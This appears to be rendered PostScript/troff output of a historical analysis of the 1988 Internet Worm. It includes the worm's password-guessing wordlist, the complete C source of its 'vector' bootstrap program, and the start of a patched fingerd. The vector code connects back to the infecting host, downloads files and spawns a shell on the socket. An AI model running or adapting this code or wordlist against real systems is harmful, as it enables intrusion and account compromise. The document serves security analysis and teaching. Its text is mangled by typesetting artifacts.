6598 V
2931(beauty)S
6728 V
2931(beethoven)S
6858 V
2931(beloved)S
6988 V
2931(benz)S
7118 V
2931(beowulf)S
7248 V
2931(berkeley)S
5818 V
3668(berliner)S
5948 V
3668(beryl)S
6078 V
3668(beverly)S
6208 V
3668(bicameral)S
6338 V
3668(bob)S
6468 V
3668(brenda)S
6598 V
3668(brian)S
6728 V
3668(bridget)S
6858 V
3668(broadway)S
6988 V
3668(bumbling)S
7118 V
3668(burgess)S
7248 V
3668(campanile)S
5818 V
4405(cantor)S
5948 V
4405(cardinal)S
6078 V
4405(carmen)S
6208 V
4405(carolina)S
6338 V
4405(caroline)S
6468 V
4405(cascades)S
6598 V
4405(castle)S
6728 V
4405(cat)S
6858 V
4405(cayuga)S
6988 V
4405(celtics)S
7118 V
4405(cerulean)S
7248 V
4405(change)S
7920 V
EP
%%Page: 31 32
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 31 -)S
850 V
720(charles)S
980 V
720(charming)S
1110 V
720(charon)S
1240 V
720(chester)S
1370 V
720(cigar)S
1500 V
720(classic)S
1630 V
720(clusters)S
1760 V
720(co)S
823 H
	(f)show 11 -.5 mul h (f)show
11 R
890(ee)S
1890 V
720(coke)S
2020 V
720(collins)S
2150 V
720(commrades)S
2280 V
720(computer)S
2410 V
720(condo)S
2540 V
720(cookie)S
2670 V
720(cooper)S
2800 V
720(cornelius)S
2930 V
720(couscous)S
3060 V
720(creation)S
3190 V
720(creosote)S
3320 V
720(cretin)S
3450 V
720(daemon)S
3580 V
720(dancer)S
3710 V
720(daniel)S
3840 V
720(danny)S
3970 V
720(dave)S
4100 V
720(december)S
4230 V
720(defoe)S
4360 V
720(deluge)S
4490 V
720(desperate)S
4620 V
720(develop)S
4750 V
720(dieter)S
4880 V
720(digital)S
5010 V
720(discovery)S
5140 V
720(disney)S
5270 V
720(dog)S
5400 V
720(drought)S
5530 V
720(duncan)S
5660 V
720(eager)S
5790 V
720(easier)S
5920 V
720(edges)S
6050 V
720(edinburgh)S
6180 V
720(edwin)S
6310 V
720(edwina)S
6440 V
720(egghead)S
6570 V
720(eiderdown)S
6700 V
720(eileen)S
6830 V
720(einstein)S
6960 V
720(elephant)S
7090 V
720(elizabeth)S
7220 V
720(ellen)S
850 V
1457(emerald)S
980 V
1457(engine)S
1110 V
1457(engineer)S
1240 V
1457(enterprise)S
1370 V
1457(enzyme)S
1500 V
1457(ersatz)S
1630 V
1457(establish)S
1760 V
1457(estate)S
1890 V
1457(euclid)S
2020 V
1457(evelyn)S
2150 V
1457(extension)S
2280 V
1457(fairway)S
2410 V
1457(felicia)S
2540 V
1457(fender)S
2670 V
1457(fermat)S
2800 V
1457(\256delity)S
2930 V
1457(\256nite)S
3060 V
1457(\256shers)S
3190 V
1457(\257akes)S
3320 V
1457(\257oat)S
3450 V
1457(\257ower)S
3580 V
1457(\257owers)S
3710 V
1457(foolproof)S
3840 V
1457(football)S
3970 V
1457(foresight)S
4100 V
1457(format)S
4230 V
1457(forsythe)S
4360 V
1457(fourier)S
4490 V
1457(fred)S
4620 V
1457(friend)S
4750 V
1457(frighten)S
4880 V
1457(fun)S
5010 V
1457(fungible)S
5140 V
1457(gabriel)S
5270 V
1457(gardner)S
5400 V
1457(gar\256eld)S
5530 V
1457(gauss)S
5660 V
1457(george)S
5790 V
1457(gertrude)S
5920 V
1457(ginger)S
6050 V
1457(glacier)S
6180 V
1457(gnu)S
6310 V
1457(golfer)S
6440 V
1457(gorgeous)S
6570 V
1457(gorges)S
6700 V
1457(gosling)S
6830 V
1457(gouge)S
6960 V
1457(graham)S
7090 V
1457(gryphon)S
7220 V
1457(guest)S
850 V
2194(guitar)S
980 V
2194(gumption)S
1110 V
2194(guntis)S
1240 V
2194(hacker)S
1370 V
2194(hamlet)S
1500 V
2194(handily)S
1630 V
2194(happening)S
1760 V
2194(harmony)S
1890 V
2194(harold)S
2020 V
2194(harvey)S
2150 V
2194(hebrides)S
2280 V
2194(heinlein)S
2410 V
2194(hello)S
2540 V
2194(help)S
2670 V
2194(herbert)S
2800 V
2194(hiawatha)S
2930 V
2194(hibernia)S
3060 V
2194(honey)S
3190 V
2194(horse)S
3320 V
2194(horus)S
3450 V
2194(hutchins)S
3580 V
2194(imbroglio)S
3710 V
2194(imperial)S
3840 V
2194(include)S
3970 V
2194(ingres)S
4100 V
2194(inna)S
4230 V
2194(innocuous)S
4360 V
2194(irishman)S
4490 V
2194(isis)S
4620 V
2194(japan)S
4750 V
2194(jessica)S
4880 V
2194(jester)S
5010 V
2194(jixian)S
5140 V
2194(johnny)S
5270 V
2194(joseph)S
5400 V
2194(joshua)S
5530 V
2194(judith)S
5660 V
2194(juggle)S
5790 V
2194(julia)S
5920 V
2194(kathleen)S
6050 V
2194(kermit)S
6180 V
2194(kernel)S
6310 V
2194(kirkland)S
6440 V
2194(knight)S
6570 V
2194(ladle)S
6700 V
2194(lambda)S
6830 V
2194(lamination)S
6960 V
2194(larkin)S
7090 V
2194(larry)S
7220 V
2194(lazarus)S
850 V
2931(lebesgue)S
980 V
2931(lee)S
1110 V
2931(leland)S
1240 V
2931(leroy)S
1370 V
2931(lewis)S
1500 V
2931(light)S
1630 V
2931(lisa)S
1760 V
2931(louis)S
1890 V
2931(lynne)S
2020 V
2931(macintosh)S
2150 V
2931(mack)S
2280 V
2931(maggot)S
2410 V
2931(magic)S
2540 V
2931(malcolm)S
2670 V
2931(mark)S
2800 V
2931(markus)S
2930 V
2931(marty)S
3060 V
2931(marvin)S
3190 V
2931(master)S
3320 V
2931(maurice)S
3450 V
2931(mellon)S
3580 V
2931(merlin)S
3710 V
2931(mets)S
3840 V
2931(michael)S
3970 V
2931(michelle)S
4100 V
2931(mike)S
4230 V
2931(minimum)S
4360 V
2931(minsky)S
4490 V
2931(moguls)S
4620 V
2931(moose)S
4750 V
2931(morley)S
4880 V
2931(mozart)S
5010 V
2931(nancy)S
5140 V
2931(napoleon)S
5270 V
2931(nepenthe)S
5400 V
2931(ness)S
5530 V
2931(network)S
5660 V
2931(newton)S
5790 V
2931(next)S
5920 V
2931(noxious)S
6050 V
2931(nutrition)S
6180 V
2931(nyquist)S
6310 V
2931(oceanography)S
6440 V
2931(ocelot)S
6570 V
2931(olivetti)S
6700 V
2931(olivia)S
6830 V
2931(oracle)S
6960 V
2931(orca)S
7090 V
2931(orwell)S
7220 V
2931(osiris)S
850 V
3668(outlaw)S
980 V
3668(oxford)S
1110 V
3668(paci\256c)S
1240 V
3668(painless)S
1370 V
3668(pakistan)S
1500 V
3668(pam)S
1630 V
3668(papers)S
1760 V
3668(password)S
1890 V
3668(patricia)S
2020 V
3668(penguin)S
2150 V
3668(peoria)S
2280 V
3668(percolate)S
2410 V
3668(persimmon)S
2540 V
3668(persona)S
2670 V
3668(pete)S
2800 V
3668(peter)S
2930 V
3668(philip)S
3060 V
3668(phoenix)S
3190 V
3668(pierre)S
3320 V
3668(pizza)S
3450 V
3668(plover)S
3580 V
3668(plymouth)S
3710 V
3668(polynomial)S
3840 V
3668(pondering)S
3970 V
3668(pork)S
4100 V
3668(poster)S
4230 V
3668(praise)S
4360 V
3668(precious)S
4490 V
3668(prelude)S
4620 V
3668(prince)S
4750 V
3668(princeton)S
4880 V
3668(protect)S
5010 V
3668(protozoa)S
5140 V
3668(pumpkin)S
5270 V
3668(puneet)S
5400 V
3668(puppet)S
5530 V
3668(rabbit)S
5660 V
3668(rachmanino)S
4185 H
	(f)show 11 -.5 mul h (f)show
11 R
5790 V
3668(rainbow)S
5920 V
3668(raindrop)S
6050 V
3668(raleigh)S
6180 V
3668(random)S
6310 V
3668(rascal)S
6440 V
3668(really)S
6570 V
3668(rebecca)S
6700 V
3668(remote)S
6830 V
3668(rick)S
6960 V
3668(ripple)S
7090 V
3668(robotics)S
7220 V
3668(rochester)S
850 V
4405(rolex)S
980 V
4405(romano)S
1110 V
4405(ronald)S
1240 V
4405(rosebud)S
1370 V
4405(rosemary)S
1500 V
4405(roses)S
1630 V
4405(ruben)S
1760 V
4405(rules)S
1890 V
4405(ruth)S
2020 V
4405(sal)S
2150 V
4405(saxon)S
2280 V
4405(scamper)S
2410 V
4405(scheme)S
2540 V
4405(scott)S
2670 V
4405(scotty)S
2800 V
4405(secret)S
2930 V
4405(sensor)S
3060 V
4405(serenity)S
3190 V
4405(sharks)S
3320 V
4405(sharon)S
3450 V
4405(she)S
4551 H
	(f)show 11 -.5 mul h (\256)show
11 R
4643(eld)S
3580 V
4405(sheldon)S
3710 V
4405(shiva)S
3840 V
4405(shivers)S
3970 V
4405(shuttle)S
4100 V
4405(signature)S
4230 V
4405(simon)S
4360 V
4405(simple)S
4490 V
4405(singer)S
4620 V
4405(single)S
4750 V
4405(smile)S
4880 V
4405(smiles)S
5010 V
4405(smooch)S
5140 V
4405(smother)S
5270 V
4405(snatch)S
5400 V
4405(snoopy)S
5530 V
4405(soap)S
5660 V
4405(socrates)S
5790 V
4405(sossina)S
5920 V
4405(sparrows)S
6050 V
4405(spit)S
6180 V
4405(spring)S
6310 V
4405(springer)S
6440 V
4405(squires)S
6570 V
4405(strangle)S
6700 V
4405(stratford)S
6830 V
4405(stuttgart)S
6960 V
4405(subway)S
7090 V
4405(success)S
7220 V
4405(summer)S
7920 V
EP
%%Page: 32 33
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 32 -)S
850 V
720(super)S
980 V
720(superstage)S
1110 V
720(support)S
1240 V
720(supported)S
1370 V
720(surfer)S
1500 V
720(suzanne)S
1630 V
720(swearer)S
1760 V
720(symmetry)S
1890 V
720(tangerine)S
2020 V
720(tape)S
2150 V
720(target)S
2280 V
720(tarragon)S
2410 V
720(taylor)S
2540 V
720(telephone)S
2670 V
720(temptation)S
2800 V
720(thailand)S
2930 V
720(tiger)S
3060 V
720(toggle)S
3190 V
720(tomato)S
3320 V
720(topography)S
3450 V
720(tortoise)S
3580 V
720(toyota)S
3710 V
720(trails)S
3840 V
720(trivial)S
3970 V
720(trombone)S
4100 V
720(tubas)S
4230 V
720(tuttle)S
4360 V
720(umesh)S
4490 V
720(unhappy)S
4620 V
720(unicorn)S
4750 V
720(unknown)S
4880 V
720(urchin)S
5010 V
720(utility)S
5140 V
720(vasant)S
5270 V
720(vertigo)S
5400 V
720(vicky)S
5530 V
720(village)S
5660 V
720(virginia)S
5790 V
720(warren)S
5920 V
720(water)S
6050 V
720(weenie)S
6180 V
720(whatnot)S
6310 V
720(whiting)S
6440 V
720(whitney)S
6570 V
720(will)S
6700 V
720(william)S
6830 V
720(williamsburg)S
6960 V
720(willie)S
7090 V
720(winston)S
7220 V
720(wisconsin)S
850 V
1457(wizard)S
980 V
1457(wombat)S
1110 V
1457(woodwind)S
1240 V
1457(wormwood)S
1370 V
1457(yacov)S
1500 V
1457(yang)S
1630 V
1457(yellowstone)S
1760 V
1457(yosemite)S
1890 V
1457(zap)S
2020 V
1457(zimmerman)S
7920 V
EP
%%Page: 33 34
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 33 -)S
850 V
11 B
720(A)S
722(Ap)S
803(pp)S
867(pe)S
931(en)S
981(nd)S
1045(di)S
1109(ix)S
1142(x)S
1263(B)S
1265(B)S
1405(\320)S
1407(\320)S
1583(T)S
1585(Th)S
1661(he)S
1725(e)S
11 I
1837(Vector)S
11 B
2195(P)S
2197(Pr)S
2266(ro)S
2316(og)S
2373(gr)S
2430(ra)S
2480(am)S
2537(m)S
1016 V
11 R
970(The)S
1222(worm)S
1560(was)S
1812(brought)S
2236(over)S
2512(to)S
2680(each)S
2961(machine)S
3414(it)S
3558(infected)S
3992(via)S
4208(the)S
4424(actions)S
4818(of)S
4992(a)S
1146 V
720(small)S
1031(program)S
1474(I)S
1582(call)S
1812(the)S
11 I
2018(vector)S
11 R
2363(program.)S
2834(Other)S
3155(individuals)S
3717(have)S
3994(been)S
4271(referring)S
4723(to)S
4880(this)S
1276 V
720(as)S
879(the)S
11 I
1081(grappling)S
1584(hook)S
11 R
1865(program.)S
2396(Some)S
2715(people)S
3075(have)S
3349(referred)S
3761(to)S
3916(it)S
4047(as)S
4207(the)S
11 I
4410(l1.c)S
11 R
4641(program,)S
1406 V
720(since)S
1009(that)S
1238(is)S
1376(the)S
1574(suffix)S
1894(used)S
2159(on)S
2333(each)S
2596(copy.)S
1572 V
970(The)S
1204(source)S
1553(for)S
1744(this)S
1968(program)S
2403(would)S
2742(be)S
2909(transferred)S
3445(to)S
3596(the)S
3795(victim)S
4142(machine)S
4578(using)S
4882(one)S
1702 V
720(of)S
889(the)S
1101(methods)S
1552(discussed)S
2051(in)S
2214(the)S
2425(paper.)S
2836(It)S
2980(would)S
3332(then)S
3598(be)S
3778(compiled)S
4264(and)S
4499(invoked)S
4930(on)S
1832 V
720(the)S
934(victim)S
1296(machine)S
1747(with)S
2023(three)S
2321(command)S
2834(line)S
3079(arguments:)S
3647(the)S
3861(canonical)S
4361(IP)S
4540(address)S
4949(of)S
1962 V
720(the)S
926(infecting)S
1388(machine,)S
1859(the)S
2065(number)S
2472(of)S
2635(the)S
2841(TCP)S
3116(port)S
3365(to)S
3523(connect)S
3935(to)S
4093(on)S
4275(that)S
4512(machine)S
4954(to)S
2092 V
720(get)S
932(copies)S
1290(of)S
1459(the)S
1671(main)S
1969(worm)S
2303(files,)S
2598(and)S
2835(a)S
11 I
2962(magic)S
3309(number)S
11 R
3723(that)S
3967(effectively)S
4513(acted)S
4822(as)S
4992(a)S
2222 V
720(one-time-challenge)S
1640(password.)S
2220(If)S
2366(the)S
2574(``server'')S
3058(worm)S
3388(on)S
3572(the)S
3780(remote)S
4158(host)S
4416(and)S
4648(port)S
4899(did)S
2352 V
720(not)S
929(receive)S
1311(the)S
1513(same)S
1806(magic)S
2142(number)S
2545(back)S
2819(before)S
3165(starting)S
3563(the)S
3765(transfer,)S
4194(it)S
4324(would)S
4667(immedi-)S
2482 V
720(ately)S
1004(disconnect)S
1544(from)S
1828(the)S
2033(vector)S
2377(program.)S
2911(This)S
3178(can)S
3400(only)S
3666(have)S
3942(been)S
4218(to)S
4374(prevent)S
4772(some-)S
2612 V
720(one)S
942(from)S
1219(attempting)S
1754(to)S
1904(``capture'')S
2433(the)S
2631(binary)S
2975(files)S
3228(by)S
3402(spoofing)S
3851(a)S
3963(worm)S
4283(``server.'')S
2778 V
970(This)S
1237(code)S
1514(also)S
1762(goes)S
2034(to)S
2191(some)S
2494(effort)S
2807(to)S
2964(hide)S
3224(itself,)S
3543(both)S
3810(by)S
3991(zeroing)S
4391(out)S
4604(the)S
4810(argu-)S
2908 V
720(ment)S
1021(vector,)S
1403(and)S
1641(by)S
1831(immediately)S
2461(forking)S
2864(a)S
2992(copy)S
3285(of)S
3456(itself.)S
3848(If)S
4000(a)S
4128(failure)S
4493(occurred)S
4954(in)S
3038 V
720(transferring)S
1294(a)S
1406(file,)S
1644(the)S
1842(code)S
2112(deleted)S
2492(all)S
2666(files)S
2919(it)S
3045(had)S
3267(already)S
3652(transferred,)S
4280(then)S
4533(it)S
4659(exited.)S
3204 V
970(One)S
1226(other)S
1525(key)S
1757(item)S
2027(to)S
2187(note)S
2450(in)S
2610(this)S
2844(code)S
3124(is)S
3272(that)S
3511(the)S
3719(vector)S
4066(was)S
4311(designed)S
4776(to)S
4937(be)S
3334 V
720(able)S
968(to)S
1120(transfer)S
1519(up)S
1695(to)S
1847(20)S
2023(files;)S
2309(it)S
2437(was)S
2673(used)S
2940(with)S
3202(only)S
3464(three.)S
3840(This)S
4102(can)S
4319(only)S
4580(make)S
4882(one)S
3464 V
720(wonder)S
1117(if)S
1253(a)S
1370(more)S
1664(extensive)S
2147(version)S
2539(of)S
2699(the)S
2903(worm)S
3229(was)S
3469(planned)S
3886(for)S
4083(a)S
4201(later)S
4465(date,)S
4745(and)S
4973(if)S
3594 V
720(that)S
951(version)S
1340(might)S
1664(have)S
1936(carried)S
2304(with)S
2565(it)S
2692(other)S
2982(command)S
3480(files,)S
3762(password)S
4241(data,)S
4516(or)S
4672(possibly)S
3724 V
720(local)S
997(virus)S
1281(or)S
1436(trojan)S
1756(horse)S
2057(programs.)S
4114 V
11 B
720(#)S
722(#i)S
779(in)S
812(nc)S
876(cl)S
926(lu)S
959(ud)S
1023(de)S
1087(e)S
11 R
1199(<stdio.h>)S
4244 V
11 B
720(#)S
722(#i)S
779(in)S
812(nc)S
876(cl)S
926(lu)S
959(ud)S
1023(de)S
1087(e)S
11 R
1199(<sys)S
11 I
1435(/)S
11 R
1466(types.h>)S
4374 V
11 B
720(#)S
722(#i)S
779(in)S
812(nc)S
876(cl)S
926(lu)S
959(ud)S
1023(de)S
1087(e)S
11 R
1199(<sys)S
11 I
1435(/)S
11 R
1466(socket.h>)S
4504 V
11 B
720(#)S
722(#i)S
779(in)S
812(nc)S
876(cl)S
926(lu)S
959(ud)S
1023(de)S
1087(e)S
11 R
1199(<netinet)S
11 I
1593(/)S
11 R
1624(in.h>)S
4764 V
14 I
4760(main)S
11 R
720(main\(argc,)S
1255(argv\))S
4894 V
11 B
720(c)S
722(ch)S
772(ha)S
836(ar)S
893(r)S
11 I
1005(*)S
11 R
1060(argv[];)S
5024 V
11 B
720({)S
722({)S
5154 V
1325(s)S
1327(st)S
1372(tr)S
1410(ru)S
1460(uc)S
1524(ct)S
1574(t)S
11 R
1674(sockaddr)S
5209 V
11 Y
2069(-)S
5154 V
11 R
2130(in)S
2280(sin;)S
5284 V
11 B
1325(i)S
1327(in)S
1360(nt)S
1424(t)S
11 R
1524(s,)S
1659(i,)S
1782(magic,)S
2142(nfiles,)S
2478(j,)S
2601(len,)S
2827(n;)S
5414 V
1325(FILE)S
11 I
1621(*)S
11 R
1676(fp;)S
5544 V
11 B
1325(c)S
1327(ch)S
1377(ha)S
1441(ar)S
1498(r)S
11 R
1610(files[20][128];)S
5674 V
11 B
1325(c)S
1327(ch)S
1377(ha)S
1441(ar)S
1498(r)S
11 R
1610(buf[2048],)S
11 I
2140(*)S
11 R
2195(p;)S
5934 V
1325(unlink\(argv[0]\);)S
6064 V
11 B
1325(i)S
1327(if)S
1360(f)S
11 R
1396(\(argc)S
1683(!=)S
1845(4\))S
6194 V
1875(exit\(1\);)S
6324 V
11 B
1325(f)S
1327(fo)S
1365(or)S
1422(r)S
11 R
1470(\(i)S
1601(=)S
1727(0;)S
1877(i)S
1972(<)S
2098(32;)S
2303(i++\))S
6454 V
1875(close\(i\);)S
6584 V
1325(i)S
1420(=)S
1546(fork\(\);)S
6714 V
11 B
1325(i)S
1327(if)S
1360(f)S
11 R
1396(\(i)S
1527(<)S
1653(0\))S
6844 V
1875(exit\(1\);)S
6974 V
11 B
1325(i)S
1327(if)S
1360(f)S
11 R
1396(\(i)S
1527(>)S
1653(0\))S
7104 V
1875(exit\(0\);)S
7920 V
EP
%%Page: 34 35
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2725(- )S
2825(34 )S
2999(-)S
850 V
1325(bzero\(&sin,)S
11 B
1910(s)S
1912(si)S
1957(iz)S
1990(ze)S
2040(eo)S
2090(of)S
2147(f)S
11 R
2183(\(sin\)\);)S
980 V
1325(sin.sin)S
1035 V
11 Y
1611(-)S
980 V
11 R
1672(family)S
2023(=)S
2149(AF)S
1035 V
11 Y
2290(-)S
980 V
11 R
2351(INET;)S
1110 V
1325(sin.sin)S
1165 V
11 Y
1611(-)S
1110 V
11 R
1672(addr.s)S
1165 V
11 Y
1937(-)S
1110 V
11 R
1998(addr)S
2256(=)S
2382(inet)S
1165 V
11 Y
2547(-)S
1110 V
11 R
2608(addr\(argv[1]\);)S
1240 V
1325(sin.sin)S
1295 V
11 Y
1611(-)S
1240 V
11 R
1672(port)S
1913(=)S
2039(htons\(atoi\(argv[2]\)\);)S
1370 V
1325(magic)S
1657(=)S
1783(htonl\(atoi\(argv[3]\)\);)S
1630 V
11 B
1325(f)S
1327(fo)S
1365(or)S
1422(r)S
11 R
1470(\(i)S
1601(=)S
1727(0;)S
1877(i)S
1972(<)S
2098(argc;)S
2380(i++\))S
1760 V
11 B
1875(f)S
1877(fo)S
1915(or)S
1972(r)S
11 R
2020(\(j)S
2151(=)S
2277(0;)S
2427(argv[i][j];)S
2922(j++\))S
1890 V
2425(argv[i][j])S
2889(=)S
3015(\302\\0\302;)S
2150 V
1325(s)S
1432(=)S
1558(socket\(AF)S
2205 V
11 Y
2015(-)S
2150 V
11 R
2076(INET,)S
2417(SOCK)S
2205 V
11 Y
2711(-)S
2150 V
11 R
2772(STREAM,)S
3311(0\);)S
2280 V
11 B
1325(i)S
1327(if)S
1360(f)S
11 R
1396(\(connect\(s,)S
1943(&sin,)S
11 B
2250(s)S
2252(si)S
2297(iz)S
2330(ze)S
2380(eo)S
2430(of)S
2487(f)S
11 R
2523(\(sin\)\))S
2824(<)S
2950(0\))S
11 B
3041({)S
3043({)S
2410 V
11 R
1875(perror\("l1)S
2372(connect"\);)S
2540 V
1875(exit\(1\);)S
2670 V
11 B
1325(})S
1327(})S
2800 V
11 R
1325(dup2\(s,)S
1716(1\);)S
2930 V
1325(dup2\(s,)S
1716(2\);)S
3190 V
1325(write\(s,)S
1721(&magic,)S
2167(4\);)S
3450 V
1325(nfiles)S
1633(=)S
1759(0;)S
3580 V
11 B
1325(w)S
1327(wh)S
1408(hi)S
1472(il)S
1505(le)S
1538(e)S
11 R
1586(\(1\))S
11 B
1713({)S
1715({)S
3710 V
1875(i)S
1877(if)S
1910(f)S
11 R
1946(\(xread\(s,)S
2395(&len,)S
2707(4\))S
2862(!=)S
3024(4\))S
3840 V
11 B
2425(g)S
2427(go)S
2484(ot)S
2541(to)S
2579(o)S
11 R
2698(bad;)S
3970 V
1875(len)S
2073(=)S
2199(ntohl\(len\);)S
4100 V
11 B
1875(i)S
1877(if)S
1910(f)S
11 R
1946(\(len)S
2180(==)S
11 Y
2368(-)S
11 R
2429(1\))S
4230 V
11 B
2425(b)S
2427(br)S
2491(re)S
2541(ea)S
2591(ak)S
2648(k)S
11 R
2710(;)S
4490 V
11 B
1875(i)S
1877(if)S
1910(f)S
11 R
1946(\(xread\(s,)S
2395(&\(files[nfiles][0]\),)S
3277(128\))S
3542(!=)S
3704(128\))S
4620 V
11 B
2425(g)S
2427(go)S
2484(ot)S
2541(to)S
2579(o)S
11 R
2698(bad;)S
4880 V
1875(unlink\(files[nfiles]\);)S
5010 V
1875(fp)S
2030(=)S
2156(fopen\(files[nfiles],)S
3038("w"\);)S
5140 V
11 B
1875(i)S
1877(if)S
1910(f)S
11 R
1946(\(fp)S
2137(==)S
2325(0\))S
5270 V
11 B
2425(g)S
2427(go)S
2484(ot)S
2541(to)S
2579(o)S
11 R
2698(bad;)S
5400 V
1875(nfiles++;)S
5660 V
11 B
1875(w)S
1877(wh)S
1958(hi)S
2022(il)S
2055(le)S
2088(e)S
11 R
2136(\(len)S
2370(>)S
2496(0\))S
11 B
2587({)S
2589({)S
5790 V
11 R
2425(n)S
2544(=)S
11 B
2670(s)S
2672(si)S
2717(iz)S
2750(ze)S
2800(eo)S
2850(of)S
2907(f)S
11 R
2943(\(buf\);)S
5920 V
11 B
2425(i)S
2427(if)S
2460(f)S
11 R
2496(\(n)S
2651(>)S
2777(len\))S
6050 V
2975(n)S
3094(=)S
3220(len;)S
6180 V
2425(n)S
2544(=)S
2670(read\(s,)S
3028(buf,)S
3266(n\);)S
6310 V
11 B
2425(i)S
2427(if)S
2460(f)S
11 R
2496(\(n)S
2651(<=)S
2839(0\))S
6440 V
11 B
2975(g)S
2977(go)S
3034(ot)S
3091(to)S
3129(o)S
11 R
3248(bad;)S
6570 V
11 B
2425(i)S
2427(if)S
2460(f)S
11 R
2496(\(fwrite\(buf,)S
3067(1,)S
3214(n,)S
3361(fp\))S
3552(!=)S
3714(n\))S
6700 V
11 B
2975(g)S
2977(go)S
3034(ot)S
3091(to)S
3129(o)S
11 R
3248(bad;)S
6830 V
2425(len)S
11 Y
2623(-)S
11 R
2684(=)S
2810(n;)S
6960 V
11 B
1875(})S
1877(})S
7090 V
11 R
1875(fclose\(fp\);)S
7220 V
11 B
1325(})S
1327(})S
7920 V
EP
%%Page: 35 36
BP
/slant 0 def
/height 1.000000 def
11 B
11 B
490 V
11 R
2725(- )S
2825(35 )S
2999(-)S
850 V
1325(execl\("/bin/sh",)S
2074("sh",)S
2354(0\);)S
980 V
720(bad:)S
1110 V
11 B
1325(f)S
1327(fo)S
1365(or)S
1422(r)S
11 R
1470(\(i)S
1601(=)S
1727(0;)S
1877(i)S
1972(<)S
2098(nfiles;)S
2437(i++\))S
1240 V
1875(unlink\(files[i]\);)S
1370 V
1325(exit\(1\);)S
1500 V
11 B
720(})S
722(})S
1760 V
720(s)S
722(st)S
767(ta)S
805(at)S
862(ti)S
900(ic)S
933(c)S
1890 V
14 I
4721(xread)S
11 R
720(xread\(fd,)S
1181(buf,)S
1419(n\))S
2020 V
11 B
720(c)S
722(ch)S
772(ha)S
836(ar)S
893(r)S
11 I
1005(*)S
11 R
1060(buf;)S
2150 V
11 B
720({)S
722({)S
2280 V
1325(i)S
1327(in)S
1360(nt)S
1424(t)S
11 R
1524(cc,)S
1712(n1;)S
2540 V
1325(n1)S
1499(=)S
1625(0;)S
2670 V
11 B
1325(w)S
1327(wh)S
1408(hi)S
1472(il)S
1505(le)S
1538(e)S
11 R
1586(\(n1)S
1796(<)S
1922(n\))S
11 B
2013({)S
2015({)S
2800 V
11 R
1875(cc)S
2035(=)S
2161(read\(fd,)S
2567(buf,)S
2805(n)S
11 Y
2924(-)S
11 R
3049(n1\);)S
2930 V
11 B
1875(i)S
1877(if)S
1910(f)S
11 R
1946(\(cc)S
2142(<=)S
2330(0\))S
3060 V
11 B
2425(r)S
2427(re)S
2477(et)S
2527(tu)S
2565(ur)S
2629(rn)S
2679(n)S
11 R
2741(\(cc\);)S
3190 V
1875(buf)S
2085(+=)S
2273(cc;)S
3320 V
1875(n1)S
2049(+=)S
2237(cc;)S
3450 V
11 B
1325(})S
1327(})S
3580 V
1325(r)S
1327(re)S
1377(et)S
1427(tu)S
1465(ur)S
1529(rn)S
1579(n)S
11 R
1641(\(n1\);)S
3710 V
11 B
720(})S
722(})S
7920 V
EP
%%Page: 36 37
BP
/slant 0 def
/height 1.000000 def
11 B
11 B
460 V
11 R
2725(- )S
2825(36 )S
2999(-)S
850 V
11 B
720(A)S
722(Ap)S
803(pp)S
867(pe)S
931(en)S
981(nd)S
1045(di)S
1109(ix)S
1142(x)S
1263(C)S
1265(C)S
1410(\320)S
1412(\320)S
1588(T)S
1590(Th)S
1666(he)S
1730(e)S
1844(C)S
1846(Co)S
1927(or)S
1984(rr)S
2034(re)S
2084(ec)S
2134(ct)S
2184(te)S
2222(ed)S
2272(d)S
11 I
2398(fingerd)S
11 B
2782(P)S
2784(Pr)S
2853(ro)S
2903(og)S
2960(gr)S
3017(ra)S
3067(am)S
3124(m)S
1016 V
11 R
970(What)S
1271(follows)S
1665(is)S
1803(a)S
1915(version)S
2302(of)S
2457(the)S
11 I
2655(fingerd)S
11 R
3037(daemon)S
3448(program)S
3883(developed)S
4397(after)S
4660(the)S
1146 V
720(release)S
1086(of)S
1241(the)S
1439(Internet)S
1843(Worm.)S
2279(This)S
2539(version)S
2926(does)S
3191(not)S
3396(use)S
3606(the)S
11 I
3804(gets)S
11 R
4045(I/O)S
4255(call)S
4477(present)S
4857(in)S
1276 V
720(the)S
918(original)S
1324(version)S
1711(that)S
1940(allowed)S
2351(the)S
2549(Worm)S
2893(to)S
3043(convert)S
3435(it)S
3561(into)S
3797(an)S
3964(interactive)S
4490(shell.)S
1406 V
720(This)S
980(code)S
1250(is)S
1388(based)S
1701(on)S
1875(the)S
2073(Berkeley)S
2532(version)S
2919(of)S
3074(fingerd,)S
3482(but)S
3687(is)S
3825(basically)S
4279(a)S
4391(complete)S
1536 V
720(rewrite.)S
1185(There)S
1503(are)S
1699(no)S
1873(restrictions)S
2425(on)S
2599(its)S
2768(distribution,)S
3369(and)S
3591(there)S
3873(are)S
4069(no)S
4243(warranties,)S
1666 V
720(expressed)S
1215(or)S
1370(implied,)S
1799(on)S
1973(its)S
2142(operation)S
2620(or)S
2775(fitness.)S
2056 V
11 I
753(/*)S
2186 V
784(*)S
967(A)S
1098(fixed)S
1375(version)S
1762(of)S
1912(fingerd.)S
2450(This)S
2705(version)S
3092(does)S
3357(not)S
3562(use)S
3772(any)S
3994("gets")S
2316 V
784(*)S
967(calls)S
1239(that)S
1475(could)S
1783(be)S
1950(used)S
2215(to)S
2365(corrupt)S
2759(the)S
2957(program.)S
2446 V
784(*)S
2576 V
784(*)S
967(This)S
1222(is)S
1360(provided)S
1814(as)S
1976(is)S
2114(and)S
2343(you)S
2565(are)S
2775(free)S
3009(to)S
3159(use)S
3369(it)S
3495(at)S
3645(your)S
3910(own)S
4158(risk.)S
2706 V
784(*)S
872(/)S
2966 V
11 B
720(#)S
722(#i)S
779(in)S
812(nc)S
876(cl)S
926(lu)S
959(ud)S
1023(de)S
1087(e)S
11 R
1199(<stdio.h>)S
3096 V
11 B
720(#)S
722(#i)S
779(in)S
812(nc)S
876(cl)S
926(lu)S
959(ud)S
1023(de)S
1087(e)S
11 R
1199(<ctype.h>)S
3356 V
11 B
720(#)S
722(#d)S
779(de)S
843(ef)S
893(fi)S
931(in)S
964(ne)S
1028(e)S
11 R
1140(LINELEN)S
1666(1024)S
3486 V
11 B
720(#)S
722(#d)S
779(de)S
843(ef)S
893(fi)S
931(in)S
964(ne)S
1028(e)S
11 R
1325(ENTRIES)S
1875(50)S
3746 V
11 B
720(e)S
722(ex)S
772(xt)S
829(te)S
867(er)S
917(rn)S
967(n)S
1093(i)S
1095(in)S
1128(nt)S
1192(t)S
